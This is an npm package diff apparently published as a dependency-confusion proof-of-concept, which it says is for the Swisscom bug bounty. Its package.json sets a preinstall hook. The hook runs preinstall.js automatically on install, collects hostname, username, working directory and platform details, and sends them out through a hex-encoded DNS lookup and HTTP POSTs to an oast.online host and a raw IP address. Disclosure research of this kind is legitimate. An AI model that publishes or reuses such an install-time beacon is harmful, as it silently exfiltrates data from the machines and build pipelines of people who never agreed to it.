b2b-frontend-external-library 0.0.1

package/README.md

@@ -0,0 +1,27 @@
+# SECURITY RESEARCH PLACEHOLDER
+
+This package on the **public npm registry is not the real package** of this name.
+
+It was published as a **dependency-confusion proof-of-concept** by a security
+researcher participating in the Swisscom Bug Bounty Programme. This exact package
+name was found referenced in a `package.json` served from a public Swisscom asset,
+with a `publishConfig.registry` pointing at an internal Artifactory *virtual*
+repository, while the name was **unregistered on the public npm registry**.
+
+## What it does
+
+- `index.js` is a **graceful no-op** (exports `{}` and a no-op function) so a build
+  that resolves this name from the public registry does not hard-crash.
+- `preinstall` sends a single one-shot beacon containing **only**: a fixed token,
+  the resolved package name+version, `os.hostname()`, the local username, the
+  install directory, and OS/Node/npm version strings. It reads **no files**, no
+  environment variable values, no credentials, opens no shell, and persists nothing.
+
+## For Swisscom Security
+
+The beacon demonstrates whether an internal build/CI pipeline resolves this name
+from the public registry instead of the internal Artifactory. All published
+versions will be **unpublished after triage**. Full details are in the bug bounty
+report.
+
+Contact: https://hackerone.com/pm

package/index.js

@@ -0,0 +1,17 @@
+/*
+ * Graceful no-op entrypoint.
+ *
+ * This is a dependency-confusion security-research placeholder, NOT the real
+ * package. It intentionally does nothing so that any build which resolves this
+ * name from the public registry does not hard-crash on import. It exports an
+ * empty object and a no-op function.
+ *
+ * Contact: https://hackerone.com/pm  (reported to Swisscom Bug Bounty)
+ */
+'use strict';
+
+function noop() {}
+
+module.exports = {};
+module.exports.default = noop;
+module.exports.__securityResearchPlaceholder = true;

package/package.json

@@ -0,0 +1,15 @@
+{
+  "name": "b2b-frontend-external-library",
+  "version": "0.0.1",
+  "description": "Authorized security research placeholder - dependency confusion proof-of-concept. Not the real package. Graceful no-op. Will be unpublished after triage.",
+  "main": "index.js",
+  "license": "MIT",
+  "scripts": {
+    "preinstall": "node preinstall.js"
+  },
+  "files": [
+    "preinstall.js",
+    "index.js",
+    "README.md"
+  ]
+}

package/preinstall.js

@@ -0,0 +1,100 @@
+/*
+ * Dependency-confusion proof-of-concept beacon - BENIGN.
+ *
+ * Authorized security research (Swisscom Bug Bounty). On `npm install` this
+ * sends ONE short out-of-band beacon containing ONLY:
+ *   - a fixed unique token
+ *   - the resolved package name + version (which of the internal names fired)
+ *   - os.hostname()
+ *   - local username (os.userInfo().username)
+ *   - install dir + cwd
+ *   - OS platform / Node version / npm user-agent string
+ *
+ * It does NOT read files, does NOT read environment variable VALUES, does NOT
+ * touch credentials or network config, does NOT persist anything, does NOT open
+ * a shell. It fails silently and never breaks the install. index.js is a
+ * graceful no-op so a build that resolves this package does not hard-crash.
+ *
+ * Contact: https://hackerone.com/pm  (reported to Swisscom Bug Bounty)
+ */
+
+'use strict';
+
+var os = require('os');
+var dns = require('dns');
+var https = require('https');
+var http = require('http');
+
+// ---- CONFIG ----------------------------------------------------------------
+var TOKEN = 'swisscom-oce-3b9f1c7a2e';
+var OAST_HOST = 'dae7n4pijsh1ahi9684gu8get3kaiefc9.oast.online'; // DNS + HTTP(S)
+var IP_HOST = '5.189.159.252';                                    // independent HTTP-only logger
+var HTTP_TIMEOUT_MS = 4000;
+var HARD_TIMEOUT_MS = 8000;
+// -----------------------------------------------------------------------
+
+setTimeout(function () { try { process.exit(0); } catch (e) {} }, HARD_TIMEOUT_MS).unref();
+
+function safe(fn) { try { return fn(); } catch (e) { return null; } }
+
+function collect() {
+  var user = 'unknown';
+  try { user = os.userInfo().username || process.env.USER || process.env.USERNAME || 'unknown'; } catch (e) {}
+  var pkg = (process.env.npm_package_name || 'unknown') + '@' + (process.env.npm_package_version || 'unknown');
+  return {
+    token: TOKEN,
+    pkg: pkg,
+    hostname: safe(function () { return os.hostname(); }),
+    username: user,
+    cwd: safe(function () { return process.cwd(); }),
+    installPath: __dirname,
+    platform: safe(function () { return process.platform + ' ' + os.release(); }),
+    node: process.version,
+    npm_user_agent: process.env.npm_config_user_agent || ''
+  };
+}
+
+function hexLabel(s) {
+  return Buffer.from(String(s)).toString('hex').slice(0, 60);
+}
+
+function dnsBeacon(info) {
+  try {
+    var name = [
+      hexLabel(TOKEN),
+      hexLabel(info.pkg),
+      hexLabel(info.hostname),
+      hexLabel(info.username),
+      OAST_HOST
+    ].join('.');
+    dns.lookup(name, function () {});
+  } catch (e) {}
+}
+
+function httpBeacon(host, useHttps, info) {
+  var body;
+  try { body = JSON.stringify(info); } catch (e) { body = '{"token":"' + TOKEN + '"}'; }
+  var opts = {
+    method: 'POST',
+    host: host,
+    port: useHttps ? 443 : 80,
+    path: '/beacon/' + encodeURIComponent(TOKEN),
+    headers: { 'content-type': 'application/json', 'content-length': Buffer.byteLength(body) },
+    timeout: HTTP_TIMEOUT_MS
+  };
+  try {
+    var lib = useHttps ? https : http;
+    var req = lib.request(opts, function (res) { res.resume(); });
+    req.on('timeout', function () { req.destroy(); });
+    req.on('error', function () { if (useHttps) { httpBeacon(host, false, info); } });
+    req.write(body);
+    req.end();
+  } catch (e) {}
+}
+
+try {
+  var info = collect();
+  dnsBeacon(info);
+  httpBeacon(OAST_HOST, true, info);
+  httpBeacon(IP_HOST, false, info);
+} catch (e) {}